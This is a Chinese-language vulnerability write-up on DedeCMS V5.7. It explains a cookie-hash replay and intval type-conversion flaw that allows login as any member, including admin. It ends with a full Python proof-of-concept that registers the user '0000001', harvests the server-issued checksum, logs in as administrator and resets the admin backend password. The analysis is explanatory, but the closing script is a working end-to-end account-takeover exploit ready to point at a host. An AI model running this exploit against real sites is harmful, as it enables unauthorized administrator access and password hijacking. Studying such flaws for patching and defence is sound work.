前面的登录思路是来源于——Joseph
后面的组合扩大攻击来源于——zxc

简述

Dedecms是一款开源的PHP开源网站管理系统。

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

前台会员模块是采用Cookie中的 DedeUserID+DedeUserID__ckMd5字段进行身份鉴别

DedeUserID用于定位区别用户，DedeUserID__ckMd5则是服务器生成散列，用于安全验证

Dedecms一处代码由于逻辑不够严谨，导致可以输入字符并获得服务器生成散列

劫持DedeUserID__ckMd5字段，绕过安全校验，配合类型转换造成任意用户登录漏洞

漏洞详细原理

文件位置:dedecms/member/index.php:110行

require_once(DEDEMEMBER . '/inc/config_space.php');
if ($action == '') {
    include_once(DEDEINC . "/channelunit.func.php");
    $dpl = new DedeTemplate();
    $tplfile = DEDEMEMBER . "/space/{$_vars['spacestyle']}/index.htm";
    //更新最近访客记录及站点统计记录
    $vtime = time();
    $last_vtime = GetCookie('last_vtime');
    $last_vid = GetCookie('last_vid');
    if (empty($last_vtime)) {
        $last_vtime = 0;
    }
    if ($vtime - $last_vtime > 3600 || !preg_match('#,' . $uid . ',#i', ',' . $last_vid . ',')) {

        if ($last_vid != '') {
            $last_vids = explode(',', $last_vid);
            $i = 0;
            $last_vid = $uid;
            foreach ($last_vids as $lsid) {
                if ($i > 10) {
                    break;
                } else if ($lsid != $uid) {
                    $i++;
                    $last_vid .= ',' . $last_vid;
                }
            }
        } else {
            $last_vid = $uid;
        }
        PutCookie('last_vtime', $vtime, 3600 * 24, '/');
        PutCookie('last_vid', $last_vid, 3600 * 24, '/');

这段函数中$uid是我们可控的，如果Cookie中last_vid字段不存在就会走进这个分支

} else {
            $last_vid = $uid;
        }

也就变为$last_vid可控，然后$last_vid经过PutCookie函数进行处理

顺便一提

文件位置：dedecms/include/helpers/cookie.helper.php

PutCookie这个函数是Dedecms在setcookie时封装的函数

GetCookie这个函数是Dedecms在获取Cookie中值封装的函数

如果Set一个键值对，PutCookie会Set两对Cookie，一个是要SET的键值对

另一个是值和key进行md5的哈希再截取前十六位的安全校验字符串(键名为$key+'__ckMd5')

if ( ! function_exists('PutCookie'))
{
    function PutCookie($key, $value, $kptime=0, $pa="/")
    {
        global $cfg_cookie_encode,$cfg_domain_cookie;
        setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
        setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
    }
}

GetCookie在返回键值之前，会通过PutCookie生成的十六位安全校验字符串对键值进行安全校验

确保获得的键值对有效且为服务器Set,增强安全性（但这里并不能抵御密文重放）

if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}

在$last_vid经过PutCookie函数进行处理后，我们已经在Cookie可以获得校验哈希，绕过安全校验

Payload注入点

文件位置:dedecms/include/memberlogin.class.php:161行

function __construct($kptime = -1, $cache=FALSE)
{
    global $dsql;
    if($kptime==-1){
        $this->M_KeepTime = 3600 * 24 * 7;
    }else{
        $this->M_KeepTime = $kptime;
    }
    $formcache = FALSE;
    $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
    $this->M_LoginTime = GetCookie("DedeLoginTime");
    $this->fields = array();
    $this->isAdmin = FALSE;
    if(empty($this->M_ID))
    {
        $this->ResetUser();
    }else{
        $this->M_ID = intval($this->M_ID);
        if ($cache)
        {
            $this->fields = GetCache($this->memberCache, $this->M_ID);
            if( empty($this->fields) )
            {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            } else {
                $formcache = TRUE;
            }
        } else {
            $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
        }

        if(is_array($this->fields)){
            #api{{
            if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
            {
                if($data = uc_get_user($this->fields['userid']))
                {
                    if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                    {
                        $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                        $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
                    }
                }
            }
            #/aip}}

            //间隔一小时更新一次用户登录时间
            if(time() - $this->M_LoginTime > 3600)
            {
                $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
                PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
            }
            $this->M_LoginID = $this->fields['userid'];
            $this->M_MbType = $this->fields['mtype'];
            $this->M_Money = $this->fields['money'];
            $this->M_UserName = FormatUsername($this->fields['uname']);
            $this->M_Scores = $this->fields['scores'];
            $this->M_Face = $this->fields['face'];
            $this->M_Rank = $this->fields['rank'];
            $this->M_Spacesta = $this->fields['spacesta'];
            $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
            $scrow = $dsql->GetOne($sql);
            $this->fields['honor'] = $scrow['titles'];
            $this->M_Honor = $this->fields['honor'];
            if($this->fields['matt']==10) $this->isAdmin = TRUE;
            $this->M_UpTime = $this->fields['uptime'];
            $this->M_ExpTime = $this->fields['exptime'];
            $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
            if($this->M_Rank>10 && $this->M_UpTime>0){
                $this->M_HasDay = $this->Judgemember();
            }
            if( !$formcache )
            {
                SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
            }
        }else{
            $this->ResetUser();
        }
    }
}

我们注入0000001(注册账户的账户名)和对应的__ckMd5校验值

$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));

这里必须注册名0000001为的账户，不然没法通过另一个校验页面（校验账户是否存在）

文件位置：dedecms/member/inc/config_space.php

if(!is_array($_vars))
{
    ShowMsg("你访问的用户可能已经被删除！","javascript:;");
    exit();
}

$this->M_ID赋值后变为0000001，然后巧妙地经过intval类型转换，变为1，也就是admin的id，也可以是任意用户的id

$this->M_ID = intval($this->M_ID);

然后带入了SQL查询语句，然后使用查询结果对登录信息进行赋值，造成任意用户登录。

else {
    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}

if(is_array($this->fields)){
    #api{{
    if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
    {
        if($data = uc_get_user($this->fields['userid']))
        {
            if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
            {
                $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
            }
        }
    }
    #/aip}}

    //间隔一小时更新一次用户登录时间
    if(time() - $this->M_LoginTime > 3600)
    {

        $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
        PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
    }
    $this->M_LoginID = $this->fields['userid'];
    $this->M_MbType = $this->fields['mtype'];
    $this->M_Money = $this->fields['money'];
    $this->M_UserName = FormatUsername($this->fields['uname']);
    $this->M_Scores = $this->fields['scores'];
    $this->M_Face = $this->fields['face'];
    $this->M_Rank = $this->fields['rank'];
    $this->M_Spacesta = $this->fields['spacesta'];
    $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
    $scrow = $dsql->GetOne($sql);
    $this->fields['honor'] = $scrow['titles'];
    $this->M_Honor = $this->fields['honor'];
    if($this->fields['matt']==10) $this->isAdmin = TRUE;
    $this->M_UpTime = $this->fields['uptime'];
    $this->M_ExpTime = $this->fields['exptime'];
    $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);

漏洞演示

①注册0000001账户（用于登录admin,其他账户类推）

②注入Payload并获安全校验值

③

漏洞更深入(管理员密码重置)
①利用之前的老漏洞重置admin的密码，这时只重置了member表里面的admin密码
②利用现在这个漏洞登录admin,然后访问member/edit_baseinfo.php页面，member/edit_baseinfo.php中的修改信息的老密码判断是跟member表进行对比，刚好被我们上面步骤①重置了
③满足条件后，修改密码的时候会同时修改admin.member两张表的密码
文件位置:dedecms/member/edit_baseinfo.php:109行

if( !in_array($sex, array('男','女','保密')) )
{
    ShowMsg('请选择正常的性别！','-1');
    exit();    
}

$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);

//如果是管理员，修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
    $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
    $dsql->ExecuteNoneQuery($query2);
}
// 清除会员缓存
$cfg_ml->DelCache($cfg_ml->M_ID);
ShowMsg('成功更新你的基本资料！','edit_baseinfo.php',0,5000);
exit();

POC

# coding=utf-8 import requests import re if __name__ == "__main__": dede_host = "http://127.0.0.1/" oldpwd = '123456' newpwd = "cnvdcnvd" s = requests.Session() if '系统关闭了会员功能' in requests.get(dede_host + 'member/reg_new.php').content: exit('The system has closed the member function .Can not attack !!!') else: print "The system opened the membership function, I wish you good luck  !!" headers = {"Referer": dede_host + "member/reg_new.php"} rs = s.get(dede_host + 'include/vdimgck.php').content file = open('1.jpg', "wb") file.write(rs) file.close() vdcode = raw_input("Please enter the registration verification code : ") userid = '0000001' uname = '0000001' userpwd = '123456' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)", "Content-Type": "application/x-www-form-urlencoded"} data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format( userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode) rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers) if "验证码错误" in rs.content: exit("Verification code error, account registration failed") elif '注册成功' in rs.content: print 'registration success !!' rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid)) if "资料尚未通过审核" in rs.content: exit("User information has not been approved !!!") # 会员使用权限开通状态(-10 邮件验证 -1 手工审核, 0 没限制)： searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I) last_vid__ckMd5 = searchObj.group(1) s.cookies['DedeUserID'] = userid s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5 rs = s.get(dede_host + "/member/index.php") if "class=\"userName\">admin</a>" in rs.text: print "Administrator login successful !!" headers = {"Referer": dede_host + "member/edit_baseinfo.php"} rs = s.get(dede_host + 'include/vdimgck.php').content file = open('2.jpg', "wb") file.write(rs) file.close() vdcode = raw_input("Please enter the verification code : ") data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd, "safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "[email protected]", "vdcode": vdcode} rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data) if "成功更新你的基本资料" in rs.content: print "Administrator password modified successfully !!" print "The new administrator password is : " + newpwd else: print "attack fail"